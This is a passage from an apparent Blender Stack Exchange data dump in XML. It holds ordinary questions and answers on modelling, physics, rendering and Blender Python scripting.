4&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Boom!;&lt;/strong&gt;  You just made one joint out of three!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0Vjt1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2014-12-22T17:03:55.503" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21271" PostTypeId="2" ParentId="15580" CreationDate="2014-12-22T17:15:49.117" Score="2" Body="&lt;p&gt;What you're looking for is &lt;em&gt;Rigid Body Collisions Shape&lt;/em&gt;. This option lets you select how the collision bounds of the object collide with other objects. this can be found under the &lt;em&gt;Physics&lt;/em&gt; tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/53QZK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously, you don't want a man with cube collisions. &lt;em&gt;Triangle Mesh is the BEST option!&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This makes the collision surface a triangulated copy of your object and will move with your object even in animations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course there are other options that the computer can calculate faster, so don't use &lt;em&gt;Triangle mesh&lt;/em&gt; unless you need it. If &lt;em&gt;Box&lt;/em&gt; will do, use it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an &lt;a href=&quot;http://www.pasteall.org/blend/33480&quot; rel=&quot;nofollow noreferrer&quot;&gt;example&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="6385" LastEditorUserId="6385" LastEditDate="2014-12-22T17:23:39.640" LastActivityDate="2014-12-22T17:23:39.640" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="21272" PostTypeId="1" CreationDate="2014-12-22T17:21:58.587" Score="1" ViewCount="216" Body="&lt;p&gt;I'm compositing a 3d creature onto a live action plate that I wish you use with the movie clip node, which has worked fine for one movie clip, but when I try to change the clip it doesn't appear. Does anybody know why blender only seems to recognise the first video clip I added and no others. (In cycles and video clips are the same format)&lt;/p&gt;&#xA;" OwnerUserId="9480" LastEditorUserId="241" LastEditDate="2014-12-22T18:04:56.153" LastActivityDate="2014-12-22T18:04:56.153" Title="Movie clip node in cycles" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;nodes&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21273" PostTypeId="1" CreationDate="2014-12-22T18:00:58.287" Score="3" ViewCount="393" Body="&lt;p&gt;I am working on a detailed dialogue scene that is 600 mb. It is a very complex scene, with each part in single layers. I know that is a very big file size, but what my machine can handle it. What worries me is the fact that it grows to 1.2 gb after I do an opengl OpenGL render. I am not concerned with the original 600 mb file size, is their Is there something that I'm missing that makes the file so big. It is a very complex scene, but i have each part in single layers. large?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:I now figured out that when i bake the hair physics, it increases the file size, not the opengl.&lt;/p&gt;&#xA;" OwnerUserId="9626" LastEditorUserId="9626" LastEditDate="2014-12-24T18:02:31.313" LastActivityDate="2014-12-24T18:02:31.313" Title=".blend file size much larger after OpenGL Render" Tags="&lt;blend-files&gt;&lt;opengl&gt;&lt;memory-management&gt;" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="21274" PostTypeId="1" AcceptedAnswerId="21275" CreationDate="2014-12-17T07:41:43.630" Score="4" ViewCount="7336" Body="&lt;p&gt;I have a scene containing a few hundred objects (meshes). I can decimate one object at a time by selecting it in the scene and add modifier-&gt;decimate. Doing this for all objects separately would of course take forever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I decimate all objects at once?&lt;/p&gt;&#xA;" OwnerUserId="11151" OwnerDisplayName="user2926577" LastEditorUserId="2217" LastEditDate="2014-12-23T15:47:29.690" LastActivityDate="2014-12-23T15:47:29.690" Title="Decimate multiple objects at once" Tags="&lt;modifiers&gt;&lt;objects&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21275" PostTypeId="2" ParentId="21274" CreationDate="2014-12-18T04:01:30.990" Score="7" Body="&lt;ul&gt;&#xA;&lt;li&gt;Start by selecting all the objects you want to have the same modifiers applied to.&lt;/li&gt;&#xA;&lt;li&gt;Add the decimate modifier to the active object. The active object is the one that is highlighted in a lighter colour than the others, it is also the one that you can alter in the properties window.&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;L&lt;/kbd&gt; and select modifiers. This copies the modifiers from the active object to all other selected objects.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PTRrA.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want more control there is an addon called &quot;Copy Attributes Menu&quot; that you can enable (it is included with blender) that allows you to copy selected modifiers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you then want to apply the modifier to all objects you can use &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt; and select Mesh from Curve/Meta/Surf/Text, it may sound odd to convert a mesh to a mesh but it applies all modifiers to the selected objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TFCB1.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" OwnerDisplayName="sambler" LastActivityDate="2014-12-18T04:01:30.990" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21277" PostTypeId="1" AcceptedAnswerId="21284" CreationDate="2014-12-22T19:45:15.043" Score="6" ViewCount="520" Body="&lt;p&gt;I'm looking for a better way to version Blender files under Git. By default the entire file is saved as one big blob even though it is a structured format (has scenes, meshes, cameras... I can see it when linking parts of another blend file).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because it's one binary file it doesn't play nice with version control systems. Is there a way to save an &quot;unpacked&quot; blend file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't need features like diffing and merging, I just want the different versions stored more efficiently in the face of progress.&lt;/p&gt;&#xA;" OwnerUserId="9628" LastActivityDate="2014-12-22T22:14:40.423" Title="Save unpacked blender file" Tags="&lt;blend-files&gt;&lt;file-format&gt;" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="21278" PostTypeId="1" CreationDate="2014-12-22T20:01:38.757" Score="3" ViewCount="13468" Body="&lt;p&gt;I am trying to render a video (that is not a .dvd file) with audio using Blender. So far, I haven't had any success; all of my rendered clips have had the audio missing from the playback. I've tried a couple of different encoding and output options but nothing has worked so far (except for a .dvd file that I rendered originally).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are my options for rendering a video with working audio?&lt;/p&gt;&#xA;" OwnerUserId="9520" LastEditorUserId="5705" LastEditDate="2014-12-22T22:02:38.360" LastActivityDate="2021-02-25T13:21:59.797" Title="No audio output in rendered video file" Tags="&lt;rendering&gt;&lt;video&gt;&lt;audio&gt;" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="21279" PostTypeId="1" AcceptedAnswerId="21281" CreationDate="2014-12-22T20:31:17.483" Score="3" ViewCount="1198" Body="&lt;p&gt;I rendered a scene and an object was visible. Then I changed material's surface(maybe I accidentally changed something else) and an object became black. It's still fine in rendered viewport shading!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Edw4I.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xEm0O.jpg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9631" LastEditorUserId="29" LastEditDate="2014-12-22T21:38:10.390" LastActivityDate="2014-12-22T21:38:10.390" Title="Black objects in cycles render" Tags="&lt;rendering&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="21280" PostTypeId="1" CreationDate="2014-12-22T20:45:34.367" Score="3" ViewCount="749" Body="&lt;p&gt;I've been using Blender for awhile on and off. I recently decided to dive into making fire so I looked up tutorials on how to simulate fire but immediately ran into problems. I couldn't get it to work following the tutorials so I downloaded the newest version 2.72b. My old version was 2.66. I think I may have a few issues so I'm not sure what to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The immediate problem I'm faced with is when I start with the starter program with just the cube and I'm in &quot;object mode&quot;and have done nothing else at all and I go straight to the physics tab, select &quot;smoke&quot; then when I click on &quot;domain&quot; the program crashes. By crashes, I mean it simply closes the program without saving anything. The only way it doesn't crash is if I go to &quot;edit mode&quot; first then click &quot;domain&quot;. But I read somewhere you don't want to do that because it will double render the smoke or something like that. At any rate, even if I do it in &quot;edit mode&quot; then click F12 to render, as soon as I click Esc, it crashes anyway. It also crashes if I go back to &quot;object mode&quot;. I don't know if I'm doing something wrong or if it's something else like hardware issue, or just a bug in the program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think I may have more than one thing going wrong here though. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Problems I think I may have but need help answering:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.) When I downloaded the new version 2.72b I didn't do anything with the old version. I left it right where the installer had originally installed it by default. I let the default also install version 2.72b as well. I'm not sure if I've corrupted parts of the program by doing this. I'm hoping the install program simply overwrote dll files to avoid duplicates and what not. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.) I fear the real problem is my computers ability. The computer is rather old. It's an old Gateway GT5628. I worried the problem is it doesn't have a separate graphics card for GPU use/settings. I can only use CPU. It has an Intel (R) Core(TM)2 Quad CPU Q6600 @ 2.4GHz with 4GB DDR3 RAM. The operation system is Windows Vista 32-bit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help at all on this would be greatly appreciated. I've exhausted myself trying to find answers and fear I'm doing more harm than good by trying to figure it out myself such as Installing the newest version of Blender without knowing exactly how to install it properly. Anyways...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking forward to some answers. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks guys.  &lt;/p&gt;&#xA;" OwnerUserId="9629" LastActivityDate="2014-12-22T20:45:34.367" Title="Blender crashes when I click domain in the options for smoke" Tags="&lt;physics&gt;&lt;smoke-simulation&gt;" AnswerCount="0" CommentCount="10" ClosedDate="2014-12-22T21:37:54.870" ContentLicense="CC BY-SA 3.0" />
  <row Id="21281" PostTypeId="2" ParentId="21279" CreationDate="2014-12-22T21:01:27.180" Score="2" Body="&lt;p&gt;You may have unintentionally modified the &lt;strong&gt;mask layers&lt;/strong&gt; of the &lt;strong&gt;Renderlayers&lt;/strong&gt; tab, in properties panel :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jdN8W.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="527" LastActivityDate="2014-12-22T21:01:27.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21283" PostTypeId="1" AcceptedAnswerId="21285" CreationDate="2014-12-22T21:54:42.367" Score="13" ViewCount="8350" Body="&lt;p&gt;Is there a way to add scratches (like on worn metal) to a shader in Cycles?&lt;/p&gt;&#xA;" OwnerUserId="5980" LastEditorUserId="1253" LastEditDate="2014-12-23T01:40:35.617" LastActivityDate="2020-09-11T10:02:39.340" Title="Add scratches to a material in Cycles?" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;shaders&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="21284" PostTypeId="2" ParentId="21277" CreationDate="2014-12-22T21:59:17.513" Score="1" Body="&lt;p&gt;Since you don't need diff and merge functions, you could organize your files differently. You could create one or more scene files to be used as empty containers and link everything else. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way you would only commit real changes in linked objects and avoid to commit lots of unchanged binary data.&#xA;You can easily switch back and forth·between your scene files to the linked ones using the &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Object/Edit_Linked_Library&quot; rel=&quot;nofollow noreferrer&quot;&gt;Edit Linked Library&lt;/a&gt; addon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Data_System/Linked_Libraries&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wiki Linked_Libraries&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/10709/re-import-obj-and-replace-existing/10715#10715&quot;&gt;Re-Import obj and replace existing&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/7378/diff-and-version-manage-blender-work/7489#7489&quot;&gt;diff and version manage blender work&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/13800/moving-a-linked-library&quot;&gt;Moving a Linked Library&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2014-12-22T22:14:40.423" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21285" PostTypeId="2" ParentId="21283" CreationDate="2014-12-22T22:10:27.103" Score="21" Body="&lt;p&gt;The &lt;em&gt;simplest&lt;/em&gt; way is to use a box-mapped scratch texture to control the roughness of a glossy shader:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/pxPRq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/pxPRq.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="5575" LastEditDate="2020-09-11T10:02:39.340" LastActivityDate="2020-09-11T10:02:39.340" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21286" PostTypeId="1" AcceptedAnswerId="21328" CreationDate="2014-12-22T22:24:34.970" Score="3" ViewCount="3023" Body="&lt;p&gt;I have 2 objects that collide, how do I have one of them not collide with anything and still be dynamic? My two objects are a body and a controller, I want the controller to be dynamic so it can fall, but not interfere with bullets; moreover, I want my character to be static so it can collide with bullets.&lt;/p&gt;&#xA;" OwnerUserId="1597" LastActivityDate="2014-12-23T19:52:16.373" Title="Collision groups and mask?" Tags="&lt;game-engine&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21287" PostTypeId="1" AcceptedAnswerId="21299" CreationDate="2014-12-22T22:53:12.720" Score="5" ViewCount="1767" Body="&lt;p&gt;I am trying to use the Bevel tool to make my cinder block have some slightly rounded edges. When I select the edges or verts and use the tool it makes a weird explosion. Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VXfS4.gif&quot; alt=&quot;bevel&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6351" LastActivityDate="2014-12-23T19:57:37.287" Title="Bevel tool creating intersecting faces" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21289" PostTypeId="2" ParentId="21286" CreationDate="2014-12-22T23:34:46.137" Score="2" Body="&lt;p&gt;For the controller, check the &lt;em&gt;Ghost&lt;/em&gt; option under the physics tab. This will cause the object to still fall, but there won't be any collisions. You can also parent the character to the controller without having do a major freak-out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/B1wlQ.png&quot; alt=&quot;Ghost option&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2014-12-22T23:34:46.137" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="21290" PostTypeId="1" CreationDate="2014-12-22T23:39:38.783" Score="1" ViewCount="29" Body="&lt;p&gt;Does anyone know how to add on the Three.js File exporter in blender 2.72b I can not for the life of me get it installed.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;~Thanks.&lt;/p&gt;&#xA;" OwnerUserId="9632" LastActivityDate="2014-12-22T23:39:38.783" Title="How to Install Three.js Exporter in Blender 2.72b" Tags="&lt;export&gt;&lt;add-on&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2014-12-23T01:12:12.790" ContentLicense="CC BY-SA 3.0" />
  <row Id="21292" PostTypeId="2" ParentId="21287" CreationDate="2014-12-23T01:38:10.317" Score="1" Body="&lt;p&gt;This sometimes happens when you are trying to bevel 5 or more-edged vertices - the bevel operator does not handle them well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution is to &lt;strong&gt;use n-gons&lt;/strong&gt;, and if you want - to triangulate that n-gon back after the bevel.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2014-12-23T01:38:10.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21293" PostTypeId="2" ParentId="21266" CreationDate="2014-12-23T02:16:46.370" Score="1" Body="&lt;p&gt;&lt;em&gt;Assumption: If your graph has approx 50k junctions, I will assume you will import/generate such graph with python in blender.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I were you, I would do all the animating also with python. If you do that, you also don't need to set all the hooks with python (yay!).&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;When you'll be building the graph, store junctions and connections into some list. You should use some nice classes for them and remember inside them what belongs to what and also remember data paths to each connection ends and handles vertices.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then you create a function that will receive such list via a global variable and that will edit all junction positions and connections vertices and handles according to current frame. The function only takes 1 parameter - the scene.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def update_fce(scene):&#xA;    # get data&#xA;    global list&#xA;&#xA;    # get frame&#xA;    frame = scene.frame_current&#xA;&#xA;    # here move stuff to where it is supposed to be at frame&#xA;    return&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The last step is to add this function into frame change &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_72_1/bpy.app.handlers.html&quot; rel=&quot;nofollow&quot;&gt;callback list&lt;/a&gt; so it is called everytime the frame is changed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.app.handlers.frame_change_pre.append(update_fce)&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2014-12-23T08:45:07.767" LastActivityDate="2014-12-23T08:45:07.767" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21294" PostTypeId="1" CreationDate="2014-12-23T04:40:14.857" Score="1" ViewCount="48" Body="&lt;p&gt;I've never really used ray.hitNormal&#xA;What does it do. I've looked it up but couldn't understand what it does.&lt;/p&gt;&#xA;" OwnerUserId="9616" LastActivityDate="2014-12-23T04:40:14.857" Title="What is hitNormal for the ray sensor" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21295" PostTypeId="1" CreationDate="2014-12-23T04:53:55.017" Score="1" ViewCount="29" Body="&lt;p&gt;How can I pan my camera around in a blender game? I want to be able to use camera controls in my blender game Like panning 360 around with the right mouse button. My view does not need to pan up or down, just needs to rotate around the view like to say I have a cube to represent my character! I want to be able to pan the view around it.&lt;/p&gt;&#xA;" OwnerUserId="8412" LastActivityDate="2014-12-23T04:53:55.017" Title="How to pan my view around in a blender game?" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2014-12-23T09:13:24.347" ContentLicense="CC BY-SA 3.0" />
  <row Id="21296" PostTypeId="1" CreationDate="2014-12-23T05:30:59.173" Score="0" ViewCount="280" Body="&lt;p&gt;Upon exporting my character in blender as fbx it rotates by -90.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question linked has not fixed my problem. :|&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have already applied transform, rotation, and scale.&#xA;This happens in blender right after i export and it brings me back to the 3D view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The character used to export normally, until i recently rechecked some animations and edited the bones.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/U7QPH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TItIw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9636" LastEditorUserId="9636" LastEditDate="2014-12-24T22:30:38.940" LastActivityDate="2015-03-03T09:50:09.750" Title="Armature rotates in blender upon exporting as fbx [Still not working]" Tags="&lt;armature&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21298" PostTypeId="1" CreationDate="2014-12-23T08:29:24.910" Score="1" ViewCount="1373" Body="&lt;p&gt;I have rigged a zombie, and when I change the pole angle it affects the mesh's flow. I have tried applying the armature both before and after changing the poles, but nothing works. Examples:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PjdIv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iJLmO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to change the pole angle without affecting the mesh?&lt;/p&gt;&#xA;" OwnerUserId="1829" LastEditorUserId="1253" LastEditDate="2014-12-23T12:03:16.447" LastActivityDate="2016-09-07T08:56:00.463" Title="Change pole angle without affecting mesh" Tags="&lt;mesh&gt;&lt;rigging&gt;" AnswerCount="2" CommentCount="4" ClosedDate="2016-09-08T11:12:20.077" ContentLicense="CC BY-SA 3.0" />
  <row Id="21299" PostTypeId="2" ParentId="21287" CreationDate="2014-12-23T08:45:34.440" Score="5" Body="&lt;p&gt;The first thing I would do is delete all the faces on the top along with those nasty triangles and poles... tris and ngons do not subdivide well with bevels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try to keep your geometry with quads.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OOHuo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you delete the offending faces, select the edge loops you want to bevel, and on the top view extrude and scale. The idea is to create a new set of edges and faces that follow the topology using quads.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RrxvF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Those edges will bevel nicely now...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wsLRa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to bevel the outer edge loops do the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hsoAj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vIJK4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that then just fill the gaps with the best topology you can come up with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yr74h.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/l1Avf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2014-12-23T19:57:37.287" LastActivityDate="2014-12-23T19:57:37.287" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21301" PostTypeId="1" AcceptedAnswerId="21322" CreationDate="2014-12-23T09:23:52.053" Score="3" ViewCount="2569" Body="&lt;p&gt;I wanted to start animating with something less complicated, so I choose a blacksmith, without people, just hammers forging a metal bar into a sword. The only way I could think how to animate the transformation of the metal bar into a sword is to model a sword and a metal bar, the sword put into the metal bar and then animate scaling the metal bar down after each hit of the hammer. Is there a way to make the metal bar transform or should I do my best using scaling?&lt;/p&gt;&#xA;" OwnerUserId="9588" LastEditorUserId="6385" LastEditDate="2014-12-23T16:00:53.877" LastActivityDate="2014-12-23T19:17:16.420" Title="animating transformation of one object into another" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21302" PostTypeId="1" CreationDate="2014-12-23T09:55:34.897" Score="1" ViewCount="415" Body="&lt;p&gt;I am running blender from command line and using some scripts.In order to reduce the output size, I'd like compress the .png output file.I understand that this can be done in Blender GUI. However, I am struggling to find a way of doing it in command line or in script file.&lt;/p&gt;&#xA;" OwnerUserId="9639" LastEditorUserId="1476" LastEditDate="2014-12-23T10:06:22.827" LastActivityDate="2014-12-23T22:05:43.027" Title="Blender Image compression from command line" Tags="&lt;python&gt;&lt;scripting&gt;&lt;image&gt;&lt;command-line&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21303" PostTypeId="2" ParentId="21259" CreationDate="2014-12-23T10:42:35.593" Score="3" Body="&lt;p&gt;Going by the question in your title this is my answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get the distance between two objects use this formula.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;span class=&quot;math-container&quot;&gt;$$d = \sqrt{\left(x_2-x_1\right)^2+\left(y_2-y_1\right)^2+\left(z_2-z_1\right)^2}$$&lt;/span&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then the python code is as follow. Comments are included in the code to help you understand what is going on.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from math import sqrt&#xA;&#xA;lst = []  # create list to store the location info&#xA;&#xA;for obj in bpy.context.selected_objects:  # iterate over the selection NOTE: two object should be selected&#xA;    lst.append(obj.location)  # populate the lst with the location info&#xA;&#xA;# calulate the distance of the two objects&#xA;distance = sqrt((lst[0][0] - lst[1][0])**2 + (lst[0][1] - lst[1][1])**2 + (lst[0][2] - lst[1][2])**2)&#xA;&#xA;# display the distance&#xA;print(distance)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="74827" LastEditDate="2019-11-01T23:36:41.057" LastActivityDate="2019-11-01T23:36:41.057" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21304" PostTypeId="1" AcceptedAnswerId="21311" CreationDate="2014-12-23T12:17:49.057" Score="4" ViewCount="3936" Body="&lt;p&gt;As you can see from my image, I am trying to subtract the mesh &quot;Subtract&quot; from the mesh &quot;Cube&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YKwSe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However blender is giving me the error &quot;Cannot execute boolean operation&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is causing this problem?&lt;/p&gt;&#xA;" OwnerUserId="9641" LastEditorUserId="1476" LastEditDate="2014-12-23T13:19:42.167" LastActivityDate="2014-12-23T16:21:16.140" Title="&quot;Cannot execute boolean operation&quot;" Tags="&lt;modifiers&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21305" PostTypeId="1" AcceptedAnswerId="21307" CreationDate="2014-12-23T12:45:14.093" Score="2" ViewCount="784" Body="&lt;p&gt;I am experiencing some odd behaviour in my rig where vertices with &lt;code&gt;0&lt;/code&gt; weight are moving when they shouldn't be. I have tried painting different weight onto those vertices but it does not seems to help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fFjDL.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/33493&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;blend file&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastActivityDate="2015-03-07T16:12:54.017" Title="Armature moving points for no apparent reason" Tags="&lt;rigging&gt;&lt;armature&gt;&lt;weight-painting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
